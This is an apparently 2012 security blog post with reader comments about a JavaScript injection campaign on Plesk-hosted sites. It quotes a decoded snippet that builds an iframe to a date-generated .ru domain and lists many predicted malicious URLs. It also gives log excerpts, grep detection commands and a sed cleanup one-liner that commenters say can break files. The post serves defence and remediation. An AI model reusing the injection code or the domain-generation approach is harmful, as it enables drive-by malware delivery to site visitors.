Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
Loading site search ...

Runforestrun and Pseudo Random Domains

   22 Jun 12   Filed in Short Attack Reviews

Today I came across an interesting attack that injects malicious scripts at the very bottom of existing .js files.

Update: at the bottom of this post you’ll find information about how a security hole in Plesk Panel was used to infect websites. Comments are also worth reading.

Update (July 26, 2012): The attack has changed both the injected script and the domain generating algorithm. See details in my follow up article. Information about the Plesk security issues are still can be found in the current post and comments.

The script (surrounded by the /*km0ae9gr6m*/…/*qhk6sa6g1c*/ pair of comments ) looks like this:

km0ae9gr6m script qhk6sa6g1c

Full source code can be found here

On Google diagnostic pages of infected sites you will currently see something like this

Malicious software is hosted on 2 domain(s), including ctonxidjqijsnzny .ru/, znycugibimtvplve .ru/.

I say “currently”, because the most interesting thing about this script is the built-in domain name generator.

If you decode the script (see the code), you will see functions with names like nextRandomNumber, RandomNumberGenerator, createRandomNumber and generatePseudoRandomString and the iframe URL generation based on the current date and time:

var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");

It’s not a new tactic to use pseudo random domain name generators for drive by download attacks. I have already described algorithms based on quite unpredictable factors such as Twitter trending topics. Attackers had only a few hours to a couple of days to register and properly configure new domains before malicious script would begin sending traffic to them.

Unlike that Twitter-based algorithm, this new attack has a really dumb pseudo random string generator. It’s based on such a predictable factor as a current data and time (before noon or after noon). It generates new domain names every 12 hours.

Predicted malicious URLs and sink holes

No wonder, it only took a couple of minutes to write a simple script that predicts URLs of the malicious iframes that this attack will use by the end of summer of 2012. Then a quick check showed that 89 of the domain names (up to August 7th, 2012) are already registered and point to When I try to open the predicted malicious URLs I see the “domain suspended due to abuse reports” message. It looks like someone has already taken care of this attack and sink-holed its domain names.

Or is it a just trick that attackers use to make me think that there is nothing to worry about? It looks quite suspicious that is on Leaseweb (cybercriminals like to use this hosting provider), and nameservers have Russian names “” and ““. At the same time all domains are registered by a “Private Person” using a Russian registrar NAUNET that is known for being loyal to spammers and other cybercryminals. The WHOIS information and IP addresses for domains registered before the beginning of the attack (on June 8th) are the same as for domain names that had been registered just yesterday — this means that they all have been registered by the attackers.

And if you read comments to the following reddit thread, you will see that some people get the “domain suspended due to abuse” message while others get redirected to “hxxp://db8237d82bdu .ipq .co/feed/xml.php?uid=12” and “hxxp://masvip .ru/6662/take.html“, which suggests that there is some server-side logic that filters traffic (probably by IP, Referrer , etc.)

Update (June 28, 2012): Today I saw myself how the “hxxp://gytcnulxsxpsqkfn .ru/runforestrun?sid=cx” URL returned 302 redirect to “hxxp://insurancecentre .ru/in.cgi?7“,  which in turn redirected to “hxxp://freshtds .eu/default.cgi“.

And what do you think? Are these domains sink-holed or they only pretend to be sink-holed?

By the way, here’s my list of the predicted malicious URLs.

Update (July 6, 2012): At this point I see that predicted domain names are already registered through September 7th, 2012, so I genarated a new list (up to October 9th) and put it here:

Update (July 26, 2012): The attack has changed both the injected script and the domain generating algorithm. See details in my follow up article.

hxxp://xmexlajhysktwdqe .ru/runforestrun?sid=cx
hxxp://atsihkcljrqlzvku .ru/runforestrun?sid=cx
hxxp://kahmnunornwrgpgb .ru/runforestrun?sid=cx
hxxp://mfwqdxgdpwiojrjp .ru/runforestrun?sid=cx
hxxp://wmiudbgrcvapriql .ru/runforestrun?sid=cx
hxxp://yrxysfyekjfooere .ru/runforestrun?sid=cx
hxxp://jzkitejvrxgkgpgi .ru/runforestrun?sid=cx
hxxp://lfbovcaitdrjmkbe .ru/runforestrun?sid=cx
hxxp://ulnrpbudycxzdlkt .ru/runforestrun?sid=cx
hxxp://xqcwfwfphwoieuny .ru/runforestrun?sid=cx
hxxp://hyoflopkupjioiqq .ru/runforestrun?sid=cx
hxxp://keglxucgvwhqttmi .ru/runforestrun?sid=cx
hxxp://tlrnhskrgijhwtlj .ru/runforestrun?sid=cx
hxxp://vqhtwlshzzqsltcp .ru/runforestrun?sid=cx
hxxp://gytcnulxsxpsqkfn .ru/runforestrun?sid=cx
hxxp://iekiyvsbtyozmmwy .ru/runforestrun?sid=cx
hxxp://dernflilrdxmfnye .ru/runforestrun?sid=cx
hxxp://fjgtmicxtlxynlpf .ru/runforestrun?sid=cx
hxxp://ppsvcvrcgkllplyn .ru/runforestrun?sid=cx
hxxp://ruhctasjmpqbyvhm .ru/runforestrun?sid=cx
hxxp://bdvkpbuldslsapeb .ru/runforestrun?sid=cx
hxxp://eilqnjkoytyjuchn .ru/runforestrun?sid=cx
hxxp://npxsiiwpxqqiihmo .ru/runforestrun?sid=cx
hxxp://qtmyeslmsoxkjbku .ru/runforestrun?sid=cx
hxxp://adbjjkquyyhyqknf .ru/runforestrun?sid=cx
hxxp://ciqmhuwgvfsxdtrw .ru/runforestrun?sid=cx
hxxp://mocrafrewsdjztbj .ru/runforestrun?sid=cx
hxxp://otruvbidvikzhlop .ru/runforestrun?sid=cx
hxxp://yafzvancybuwmnno .ru/runforestrun?sid=cx
hxxp://bhujzorkulhkpwob .ru/runforestrun?sid=cx
hxxp://lohnrnnpvvtxedfl .ru/runforestrun?sid=cx
hxxp://ntvrnrdpyoadopbo .ru/runforestrun?sid=cx
hxxp://wakvnkyzkyietkdr .ru/runforestrun?sid=cx
hxxp://zfyafrjmmajqfvbh .ru/runforestrun?sid=cx
hxxp://jnlkttkruqsdjqlx .ru/runforestrun?sid=cx
hxxp://lsbppxhgckolsnap .ru/runforestrun?sid=cx
hxxp://vznrahwzgntmfcqk .ru/runforestrun?sid=cx
hxxp://xeeypppxswpquvrf .ru/runforestrun?sid=cx
hxxp://inqgvoeohpcsfxmn .ru/runforestrun?sid=cx
hxxp://ksgmckchdppqeicu .ru/runforestrun?sid=cx
hxxp://uyrorwlibbjeasoq .ru/runforestrun?sid=cx
hxxp://wejungvnykczyjam .ru/runforestrun?sid=cx
hxxp://gmvdnpqbblixlgxj .ru/runforestrun?sid=cx
hxxp://jrkjelzwleadyxsd .ru/runforestrun?sid=cx
hxxp://sywleisrsstsqoic .ru/runforestrun?sid=cx
hxxp://venrfhmthwpqlqge .ru/runforestrun?sid=cx
hxxp://fmacqvmqafqwmebl .ru/runforestrun?sid=cx
hxxp://hrpgglxvqwjesffr .ru/runforestrun?sid=cx
hxxp://rxbkqfydlnzopqrn .ru/runforestrun?sid=cx
hxxp://tdsorylshsxjeawf .ru/runforestrun?sid=cx
hxxp://elfxqghdubihhsgd .ru/runforestrun?sid=cx
hxxp://gqtcxunxhyujqjkf .ru/runforestrun?sid=cx
hxxp://qxggipnnfmnihkic .ru/runforestrun?sid=cx
hxxp://sdxkjaophbtufumx .ru/runforestrun?sid=cx
hxxp://clkujrjqvexvbmoi .ru/runforestrun?sid=cx
hxxp://fqyyxagzkrpvxtki .ru/runforestrun?sid=cx
hxxp://owldagkyzrkhqnjo .ru/runforestrun?sid=cx
hxxp://rccjvgsgffokiwze .ru/runforestrun?sid=cx
hxxp://blorcdyiipxcwyxv .ru/runforestrun?sid=cx
hxxp://dpewaddpoewiycnj .ru/runforestrun?sid=cx
hxxp://nwpykqeizraqthry .ru/runforestrun?sid=cx
hxxp://pchgijctfprxhnje .ru/runforestrun?sid=cx
hxxp://zisiiogqigzzqqeq .ru/runforestrun?sid=cx
hxxp://cpittmwbqtjrjpql .ru/runforestrun?sid=cx
hxxp://mvuvchtcxxibeubd .ru/runforestrun?sid=cx
hxxp://oblcasnhxbbocpfj .ru/runforestrun?sid=cx
hxxp://xixftoplsduqqorx .ru/runforestrun?sid=cx
hxxp://bpnqmxkpxxgbdnby .ru/runforestrun?sid=cx
hxxp://kvzstpqmeoxtcwko .ru/runforestrun?sid=cx
hxxp://nbqypqrjiqxlfvdj .ru/runforestrun?sid=cx
hxxp://whddmvrxufbkkoew .ru/runforestrun?sid=cx
hxxp://ymrhcvphevonympo .ru/runforestrun?sid=cx
hxxp://jveqgnmjxkocqifr .ru/runforestrun?sid=cx
hxxp://lavvckpordclbduy .ru/runforestrun?sid=cx
hxxp://vhhzcvbegxbjsxke .ru/runforestrun?sid=cx
hxxp://xmwettbvtbhvrjuo .ru/runforestrun?sid=cx
hxxp://gacdiuwnhonuulpe .ru/runforestrun?sid=cx
hxxp://ifrhgnqeeotnzrmz .ru/runforestrun?sid=cx
hxxp://rmdlgyreitjsjkfq .ru/runforestrun?sid=cx
hxxp://uqspvdwyltgcyhft .ru/runforestrun?sid=cx
hxxp://ezfydrexncoidbus .ru/runforestrun?sid=cx
hxxp://hfveiooumeyrpchg .ru/runforestrun?sid=cx
hxxp://qlihxnncwioxkdls .ru/runforestrun?sid=cx
hxxp://sqwlonyduvpowdgy .ru/runforestrun?sid=cx
hxxp://dyjvewshptsboygd .ru/runforestrun?sid=cx
hxxp://febcbuyswmishvpl .ru/runforestrun?sid=cx
hxxp://plmekaayiholtevt .ru/runforestrun?sid=cx
hxxp://rpckbgrziwbdrmhr .ru/runforestrun?sid=cx
hxxp://cyosongjihugkjbg .ru/runforestrun?sid=cx Aug 7.
hxxp://eefysywrvkgxuqdf .ru/runforestrun?sid=cx
hxxp://nkrbvqxzfwicmhwb .ru/runforestrun?sid=cx
hxxp://qphhsudsmeftdaht .ru/runforestrun?sid=cx
hxxp://axtopsbtntqnfdyk .ru/runforestrun?sid=cx
hxxp://ddkudnuklgiwtdyw .ru/runforestrun?sid=cx
hxxp://mkwwclogcvgeekws .ru/runforestrun?sid=cx
hxxp://opldkflyvlkywuec .ru/runforestrun?sid=cx
hxxp://yvxfekhokspfuwqr .ru/runforestrun?sid=cx
hxxp://bdprvpxdejpohqpt .ru/runforestrun?sid=cx
hxxp://ljbvfrsvcevyfhor .ru/runforestrun?sid=cx
hxxp://noqzuukouyfuyrmd .ru/runforestrun?sid=cx
hxxp://xvcewyydwsmdgaju .ru/runforestrun?sid=cx
hxxp://zatiscwwtipqlycd .ru/runforestrun?sid=cx
hxxp://jjgshrjdcynohyuk .ru/runforestrun?sid=cx
hxxp://mouwwvcwwlilnxub .ru/runforestrun?sid=cx
hxxp://vuhaojpwxgsxuitu .ru/runforestrun?sid=cx
hxxp://yayfefhrwawquwcw .ru/runforestrun?sid=cx
hxxp://iiloishkjwvqldlq .ru/runforestrun?sid=cx
hxxp://knauycqgsdhgbwjo .ru/runforestrun?sid=cx
hxxp://uumwyzhctrwdsrdp .ru/runforestrun?sid=cx
hxxp://wzbdwenwshfzglwt .ru/runforestrun?sid=cx
hxxp://hiplksflttfkpsxn .ru/runforestrun?sid=cx
hxxp://jnfrqmekhoevppvw .ru/runforestrun?sid=cx
hxxp://ttqtkmthptxvwiku .ru/runforestrun?sid=cx
hxxp://vygzhvfiuommkqfj .ru/runforestrun?sid=cx
hxxp://fhuidtlqttqxgjvn .ru/runforestrun?sid=cx
hxxp://imjosxuhbcdonrco .ru/runforestrun?sid=cx
hxxp://rtvqcdpbqxgwnrcn .ru/runforestrun?sid=cx
hxxp://tykvyflnjhbnqpnr .ru/runforestrun?sid=cx
hxxp://ehyewyqydfpidbdp .ru/runforestrun?sid=cx
hxxp://gmokuosvnbkshdtd .ru/runforestrun?sid=cx
hxxp://qsbourrdxgxgwepy .ru/runforestrun?sid=cx
hxxp://sxpskxdgoczvcjgp .ru/runforestrun?sid=cx
hxxp://dhedppigtpbwrmpc .ru/runforestrun?sid=cx
hxxp://flthmyjeuhdygshf .ru/runforestrun?sid=cx
hxxp://osflhkaowydftniw .ru/runforestrun?sid=cx
hxxp://rxupwhkznihnxzqx .ru/runforestrun?sid=cx
hxxp://bgjzhlasdrwwnenj .ru/runforestrun?sid=cx
hxxp://elxegvkalqvkyoxc .ru/runforestrun?sid=cx
hxxp://nrkhysgoltauclop .ru/runforestrun?sid=cx
hxxp://pwyloytoagndnrex .ru/runforestrun?sid=cx
hxxp://zenquqdskekaudbe .ru/runforestrun?sid=cx
hxxp://cldcrgtnuwvgnbfd .ru/runforestrun?sid=cx
hxxp://mroeqjdaukskbgua .ru/runforestrun?sid=cx
hxxp://owekhoeuhmdiehrw .ru/runforestrun?sid=cx
hxxp://ydrngsmrdiiyvoiy .ru/runforestrun?sid=cx
hxxp://bkhyiqitpoxewhmt .ru/runforestrun?sid=cx

What’s the security hole?

Another important questions is how all those legitimate sites had been compromised in the first place.

At this point I haven’t had a chance to work directly with infected sites and check what’s going on inside. So I have to resort to analysis of factors that I can see from outside. I checked about a dozen of infected sites and they all use different web technologies from ASP.NET to pure HTML. They are all on different web servers: IIS, Litespeed, Apache. The only common link I can see is Plesk. When I check other sites on the same IP addresses I usually find a few more infected site (not all though). So could this be some security hole in Plesk that made this attack possible. What do you think?

Update (June 23, 2012): Thanks to everyone who left comments. The problem seems to be really in Plesk. Axel found traces of the attack in Plesk access logs. The attacker logged in and used file manager’s editor to modify .js files. Axel blames the Plesk vulnerability (versions before 10.4 are affected) found earlier this year and suggests that server admins fix it: and reset passwords for all plesk accounts:

So if you are affected, then immediately change passwords of ALL Plesk accounts. This means: Plesk-admin-user, all reseller-accounts, all domain-administrators, FTP users of subdomains and web users of domains. And of course, if not previously done, update your Plesk installation!!

Here’s one more usefull link for server admins: How to make sure your Plesk Panel 8.x, 9.x, 10.0, 10.1, 10.2, or 10.3 is not vulnerable

To webmasters: If your site is affected by this hack, contact your hosting provider ASAP and show them this post. Change your account passwords. And if your host resets your passwords there is a good reason for that. Don’t change your passwords back to your old ones!

Update 2 (June 25, 2012): To find out more about this problem, I asked Axel a few questions and he agreed to explain what’s going on:

It is important to distinguish between the attack and the security hole. The attack was not carried out directly by a security hole, but by means of a valid username/password combination.

The attacker used the built-in Plesk File Manager to replace files, so there are no entries in other log files (such as FTP-log -> Shafiq’s comment). And there were a number of files changed with the same javascript code at a time. As you can see in the log-excerpt, there were 3 replacements: javascript_a1cb3a5978.js / jquery.min.js / easySlider1.7.js

This file selection has been very well analyzed (no TYPO3 standard files), so it is also clear that it was not an automated attack, but was executed by a human. By the way: the origin of my attack was another compromised server from Germany.

However, the real problem was/is the Plesk vulnerability ( Many admins do not realize that their passwords have been spied out weeks or months ago. To make it more clear: Due to the Plesk vulnerability database tables could be read. And unfortunately all Passwords in Plesk are stored in plain text!! Take a look in database ‘psa‘ at table ‘accounts‘ (and better sit down before doing that!). That’s why it is so important to change ALL passwords.

Just fixing this vulnerability AFTER the server has been compromised, without changing ALL passwords, leave valid username/password combinations! So the attacker can come back after weeks or months and attack even in the meantime updated Plesk systems!!!

How can one find out whether the server has been compromised (weeks ago)? This is actually very difficult. For me it works to look at the Plesk Action Log: There were times were I detect many VALID account logins from different IPs in a very short time. This can’t be real and seems to be a kind of automated control of the captured login data. A very clear sign of the attack :-(

Plesk Action Log excerpt: site1 [2012-02-16 17:11:47] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site2 [2012-02-16 17:11:47] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site3 [2012-02-16 17:11:48] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site4 [2012-02-16 17:11:49] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site5 [2012-02-16 17:11:54] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site6 [2012-02-16 17:11:55] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site7 [2012-02-16 17:11:56] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site8 [2012-02-16 17:11:58] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
... site5 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site4 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site3 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx') site1 [2012-02-19 00:04:06] 'CP User Login' ('Contact Name': '' => 'xxxxxxxxx') site7 [2012-02-19 00:04:09] 'CP User Login' ('Contact Name': '' => 'xxxxxxxxx') site8 [2012-02-19 00:04:09] 'CP User Login' ('Contact Name': '' => 'xxxxxxxxx') site5 [2012-02-19 00:04:13] 'CP User Logout' ('Contact Name': 'xxxxxxxxx' => '')

I hope this helps


Update (July 8, 2012): Here’s an interesting thread on the Parallels forum where server admins say that they applied security patches and reset passwords but their servers were re-infected shortly after that. Anyone has a proven solution to permanently fix this issue without breaking the File Manager (as suggested in the following comment)?

A few more questions to admins of affected server. Especially if your servers got reinfected after changing passwords and applying security patches.

  1. Did you consider use of backdoors? Did you search for backdoors?
  2. Did you consider scenario where hackers created some rogue users on your server? Maybe even an extra admin user? Did you try to search  for users with suspicious activity or with excessive permissions?

By the way, the rumor has it that on hacker forums, someone offers an exploit (quite expensive) for Plesk <=10.4 that allows to obtain admin password and remotely execute code on server (looks like it’s for Windows servers only).

Update (July 15, 2012): Parallels has just released the “Big” Security Update for Plesk v8-10 (all OS) and Plesk 11 (Windows only). They don’t disclose details but mention that the security issue is “critical” and they found it during internal testing. Not sure whether it can fix this current issue but it is definitely something administrators of servers with Plesk Panel should do. (And then comment whether it helped or not)

Your thoughts and comments are highly appreciated.

Related posts:

Reader's Comments (94)

  1. |

    I have an affected website, and as you say Plesk is on the table. Any thoughts on how to remove the .js injection?

    • |

      I guess you should just remove the malicious code from your .js files.

      But I don’t know if it is enough to prevent reinfections. I hope to get reliable information about the exploited security hole.

      By the way, did you notice the modification dates of the infected files?

  2. |

    June 8. But Google only blocked my site 2 days ago. I deleted the injection in the .js file but it appeared again today, with a different pointing site link

    • |

      I just found this post and now Plesk in being patched but until now I had to remove the injected code manually and changing files permissions to 444.

  3. |

    My site was also marked by google with this infection. The code was injected at the end of the Script that detects if the user is using Flash, and if he is not, tries to install it.

    Also Plesk there… Already told the hosting provider. They have a lot of sites infected, according to google.

    Thanks a lot for the info.. Was a lifesaver, at least for now. I’ll have to wait till the hosting provider upgrades, or block somehow the injection.

    • |

      It can help if you could get FTP and access logs for compromised sites and check if you see any signs of the attack there. If there are no signs in the logs then the problem is most likely with server infrastructure/configuration.

  4. |

    So you think this is related to a Plesk security hole?

    • |

      I still don’t have any reliable information about how this hack works so I can only guess. But it’s the first attack in my practice where I see such a consistent Plesk trace.

      The following comment also mention some incedent with pwnd Plesk machines.

      So right now Plesk is a working hypothesis

  5. |

    Just to add, I’m a member of a site that offers hosting, they have several different IPs and also use Plesk. Most sites are running wordpress. I’d say that a third of the sites I checked on each IP had been infected.

  6. |

    Thanks man, I grepped by the comment boundaries and was able to remove it in no time. I confirm, got infected on Plesk 8.6

  7. |

    It’s definitly Plesk!!

    Today I discovered a (TYPO3-)site with a changed javascript include file. I checked my logs and found the “attack” in Plesk access log file.

    # /usr/local/psa/admin/logs/httpsd_access_log - [22/Jun/2012:16:35:50 +0200] "POST /login_up.php3 HTTP/1.1" 200 966 "" "-" - [22/Jun/2012:16:35:56 +0200] "GET / HTTP/1.1" 200 1479 "-" "-" - [22/Jun/2012:16:36:21 +0200] "POST /plesk/client@/domain@/?context=domains HTTP/1.1" 302 0 "-" "-" - [22/Jun/2012:16:36:22 +0200] "GET /plesk/client@3/domain@/?context=domains HTTP/1.1" 200 30053 "-" "-" - [22/Jun/2012:16:36:52 +0200] "GET /plesk/client@3/domain@8/hosting/file-manager/edit/?cmd=chdir&file=/httpdocs/typo3temp HTTP/1.1" 200 89188 "" "-" - [22/Jun/2012:16:36:54 +0200] "GET /plesk/client@3/domain@8/hosting/file-manager/edit/?cmd=edit&file=javascript_a1cb3a5978.js HTTP/1.1" 200 107937 "" "-" - [22/Jun/2012:16:36:58 +0200] "POST /plesk/client@3/domain@8/hosting/file-manager/edit/ HTTP/1.1" 303 0 "" "-" - [22/Jun/2012:16:37:03 +0200] "GET /plesk/client@3/domain@8/hosting/file-manager/ HTTP/1.1" 200 89143 "-" "-" - [22/Jun/2012:16:37:31 +0200] "GET /plesk/client@3/domain@8/hosting/file-manager/edit/?cmd=chdir&file=/httpdocs/fileadmin/scripts HTTP/1.1" 200 68888 "" "-" - [22/Jun/2012:16:37:33 +0200] "GET /plesk/client@3/domain@8/hosting/file-manager/edit/?cmd=edit&file=jquery.min.js HTTP/1.1" 200 183485 "" "-" - [22/Jun/2012:16:37:47 +0200] "POST /plesk/client@3/domain@8/hosting/file-manager/edit/ HTTP/1.1" 303 0 "" "-" - [22/Jun/2012:16:37:48 +0200] "GET /plesk/client@3/domain@8/hosting/file-manager/ HTTP/1.1" 200 68864 "-" "-" - [22/Jun/2012:16:38:11 +0200] "GET /plesk/client@3/domain@8/hosting/file-manager/edit/?cmd=edit&file=easySlider1.7.js HTTP/1.1" 200 112936 "" "-" - [22/Jun/2012:16:38:16 +0200] "POST /plesk/client@3/domain@8/hosting/file-manager/edit/ HTTP/1.1" 303 0 "" "-" - [22/Jun/2012:16:38:17 +0200] "GET /plesk/client@3/domain@8/hosting/file-manager/ HTTP/1.1" 200 68860 "-" "-"

    The attacker uses a domain/password he found out at an earlier attack in late February / early March ( I (as admin) changed all passwords after that, but unfortunately one customer changed his password back to the old one. Gotcha.

    So if you are affected, then immediately change passwords of ALL Plesk accounts. This means: Plesk-admin-user, all reseller-accounts, all domain-administrators, FTP users of subdomains and web users of domains. And of course, if not previously done, update your Plesk installation!!

    Some more info can be found here:


  8. |

    Yeah…plesk is in charge :-/

    • |

      Your link contains JS:Blackcole-A[Trj]

      Nice try.

      • |

        What do you mean Beret?

        Do you mean that that the code being analyzed is JS:Blackcole-A[Trj]? Or it’s your AV that can distinguish betwee executable malicious code and just a harmless textual representation of that code?

  9. |

    We’re having the same issue with Plesk 8.6 (Running on Red Hat)

    I’ve noted the date/time of the infected .js files, but when I open up the ftp logs, there is no activity during that time :-s

    • |

      As well as Plesk, are the sites being infected all running on Coldfusion?

      • |

        No. I have reports of this happening on hosting accounts having nothing but a bog standard index.html holding page and nothing else.

        I have infection dates of 22, 23 and 26 Jun, 2012

  10. |


    Do you have script fo remove this malware for js or php file?



  11. |

    I had/have 5 sites infected, all hosted on Plesk 8.6.0

    None of the other (maybe 70-80) sites hosted on other hosting providers (that don’t use Plesk) have similar problems.

    It’s not infected through FTP since my IP is the only one logged.

    Some infected sites I didn’t access via FTP or Plesk for more than 18 months and didn’t have the passwords saved anywhere (except in a Truecrypt container).

    The malware checks which js files are included in the page and then modifies them. Also it doesn’t touch PHP files that output js, so you may try that as a temporary fix.

  12. |

    Thank you all for the insights.

    My host is running Plesk 8.6.0 and has not updated in spite of what amounted to a DoS attack earlier in the year after which they said they would give everyone strong passwords (have they? why ask! their certificate is two years out of date as well).

    I forwarded a security report from a large international client which said that Plesk was not up to the job, but they ignored it. At that time I was getting email bounces from addresses I was not including in the list of addressees and which genuine recipients were not forwarding (to their knowledge).

    From the posts here, it seems that sites with js are vulnerable since there was a password hijack in Feb 2012.

    I had a script inserted into index.html (the plainest of plain html pages you will ever see) and the hacker very kindly copied the file to index.htm first. That was done on 22 June.

    The stuff between the script tags was:
    /*km0ae9gr6m*/window.eval(String.fromCharCode blah lots of numbers blah /*qhk6sa6g1c*/

    I got warned today that avast! was blocking a URL linked from my site. I deleted and replaced the file, complained to the host, changed my passwords (admin, domain and ftp). Went back to the site after that and found the contaminated file was back. Timestamped: midnight UK time. After I had changed the domain manager and ftp passwords, but not the admin password.

    I have another (older) domain on the same admin account and that has not (yet, touch wood) been affected.

    I’ll keep you posted.


    • |

      Forgot to say, the affected site has only been in existence since 14th June so the domain and ftp passwords are new, but my admin password has not been changed as often as it should over the last six years…

    • |

      How is the exploit happening? Via Plesk or FTP? As the ftp logs are all empty when I check. :-/

  13. |

    If you can login as root do

    # find /var/www/vhosts/ -exec grep -q "km0ae9gr6m" '{}' \; -print

    May surprise you if your Plesk is older.

  14. |

    Fastest way to check if you think your site has been injected with malware is to use Google Chrome > Developer tools (F12) > network tab. You’ll see all request going to a random sites runforestrun (, in.cgi (, default.cgi (

    Good luck,

  15. |

    Thank you for sharing this.

    Some quick questions:

    1) The Plesk development team knows about this exploit? Are they planning to ship a fix?

    2) Until then the only way to prevent new attacks is to leave Plesk to another system, right?

    Thank you,
    Bruno COelho

  16. |

    Just thanks for sharing this.

    You did a great job documenting it, keep up the good work!

  17. |


    I have experienced the hack too in the clients domains in a patched plesk 9.5.4, not in admin’s domains.

    This IPs logged in to plesk,

    Always using a user account.

    I removed the affected domain, but the server performance is getting bad and bad, sometimes of the day is completely collapsed.

    AH! My SMTP server broked on 24 June and MySQL had some troubles from the start of June.

    Do you think the problem is not only JS hacks, but also some process on the system?

    What would you do to “clean” or “discover” the affected services?

    Thenk you for your help!

  18. |


    To see if you are infected, run the following command;

    cd /var/www/vhosts
    grep -rl --include=*.{php,js,html,htm} "km0ae9gr6m" *

    To clean out websites do the following;
    grep -rl –include=*.{php,js,html,htm} “km0ae9gr6m” * | xargs sed -i -e ‘s/\/\*km0ae9gr6m/\n&/g’ -e ‘s/qhk6sa6g1c\*\//&\n/g’ -e ‘/km0ae9gr6m*/,/qhk6sa6g1c/d’

    The last code must be run on 1 line and can be run on all you websites within /var/www/vhosts or on separate websites.


    • |

      The malicious scripts can also be injected into .asp/.aspx files but the above commands won’t work on Windows.

    • |

      does this work if the script is injected at the end of a legitimate line of code? or only if the line is at the end of the file by itself?

      • |

        It will not remove legitimate code.

        What it does is adding a new line before the start tag, then adding a new line after the end tag of the malicious code. Finally it remove all the malicious code, keeping all other code intact.


    • |

      Zdx, thanks for very good command line. It is runnig over all my domains at this moment…

      Be aware with the encoding, copy / paste into SSH sometimes messes up the characters.

    • |

      Be careful with this Line.
      It messed up lots of .js Files in out hosting.
      some jquery.js for example

  19. |

    i know i sound stupid but how do you run this command in plesk?
    thx in advance

    • |

      You don’t run this command in plesk. You need ssh into the root, or run it from the terminal of your plesk instalation..

  20. |


    Hey all. Sorry for the all caps, but this seems important to me. I have a server running Plesk 9.5.4, and have the IP address restriction turned on in the control panel, restricting logins to just 2 ip addresses (my office, and the office of 1 of my web clients).

    To be absolutely clear, here is my Plesk IP access restriction page:
    “Control panel access with administrator’s privileges”
    * Denied from the networks that are not listed. subnet subnet

    And yet in my log files at /usr/local/psa/admin/httpsd_access_log I have the following: – [01/Jul/2012:22:10:01 -0500] “GET /login_up.php3?passwd=setup&login_locale=default&login_name=admin HTTP/1.1″ 200 6637 “-” “-” – [01/Jul/2012:22:10:01 -0500] “GET /login_up.php3?passwd=setup&login_locale=default&login_name=admin HTTP/1.1″ 200 6637 “-” “-” – [01/Jul/2012:22:10:01 -0500] “GET /login_up.php3?passwd=setup&login_locale=default&login_name=admin HTTP/1.1″ 200 6637 “-” “-” – [01/Jul/2012:22:10:01 -0500] “GET /login_up.php3?passwd=setup&login_locale=default&login_name=admin HTTP/1.1″ 200 6637 “-” “-”

    The IP addresses that the logins are from are not either of the permitted IPS. I’m about to add rules to IP Tables for my plesk control panel port to reinforce Plesk’s IP address restrictions.


  21. |

    Can not run the suggested command to fix the filex

    grep -rl –include=*.{php,js,html,htm} “km0ae9gr6m” * | xargs sed -i -e ‘s/\/\*km0ae9gr

    • |

      you need the whole line –

      grep -rl –include=*.{php,js,html,htm} “km0ae9gr6m” * | xargs sed -i -e ’s/\/\*km0ae9gr6m/\n&/g’ -e ’s/qhk6sa6g1c\*\//&\n/g’ -e ‘/km0ae9gr6m*/,/qhk6sa6g1c/d’

      Note if you are using putty it sometimes changes ” and ‘ to .

      • |

        Be careful with this one as it will delete all the line. You’ve to consider that the ones doing this exploit usually put the code appended to the last line, so the code above will delete the last line of the file.

  22. |

    Thank a lot for this post, I shared it with hosting company … I have been trying to find answer for a week , this post will sure help other Plesk users with my hosting.

  23. |

    HI. I posted this point earlier, but thought I’d mention it again. Anyone else had this script posted despite server IP address restrictions? (see my earlier post). I’ve updated all passwords, etc., but I’m mystified as to how the attacker could have logged in in the first place from an IP address not allowed by Plesk’s IP address restrictions. That really scares me.

  24. |

    Another question. In digging through log files, I’m finding some entries I don’t quite understand. Can anyone tell my why the localhost address is appearing after the inbound IP address below? I still have not been able to determine how my hacker got past Plesk built-in IP address restriction. Thought this might be a clue. – [01/Jul/2012:06:06:22 -0500] “GET /login_up.php3?passwd=setup&login_locale=default&login_name=admin HTTP/1.1″ 200 6637 “-” “-“

  25. |

    Scott: the ip restriction only affect to the main admin account of plesk, dont affect to the domain admins accounts (checked in my 9.5.2 panel).
    The request to page login_up.php3 always will return status 200 although the ip restriction deny the login (the page show the denied login message but the page request return status 200) I checked that too.
    I think that the hackers always use the admin domain accounts becouse of this, then the ip restrictions has nothing to do here.

    But I have one question: in my case, the hackers have used one domain account to modify a lot of other domains, but only using an legitimate user/pass from one domain. How the filemanager allow that? to modify files of other domains? Is there a patch for that?

    • |

      I incorrectly assumed, after recheck I found that all domains belong to the same customer.
      It appears they have done login in filemanager with the common client user.

  26. |

    For those of you who have full plesk servers, Mass password change can be preformed. Here is the KB article explaining how to do this

  27. |

    @ Brod – in my case, it appears that the hackers logged in as admin, but I still don’t understand how. As I stated before, IP address restrictions were on. The sites that were compromised were from multiple clients, so I’m sure that this could not have been accomplished with just one client login. My admin password is ridiculously complicated. So I don’t think brute force is a possibility. Password is also only a few months old, and the password before that was also bulletproof.

    One thing that I have been looking into is a way to set up Apache/PHP to run as a different user for each site. Many CMS (anything that allows uploads) require write/execute permissions for the web server. However, there were compromised files on several of my sites that did not have write access enables for Apache/PHP – so although that is a concern, I don’t think those permissions were a factor in this attack.

    FYI —

  28. |

    […] Reading : here This entry is filed under SECURITY […]

  29. |

    […] — More info. […]

  30. |

    Root users can monitor all domains like this:

    grep -H -r “km0ae9gr6m” /var/www/vhosts | cut -d: -f1

    For a quick and dirty prevention method, and if you dont use Plesks filemanager, hide it:

    cd /usr/local/psa/admin/htdocs/filemanager/
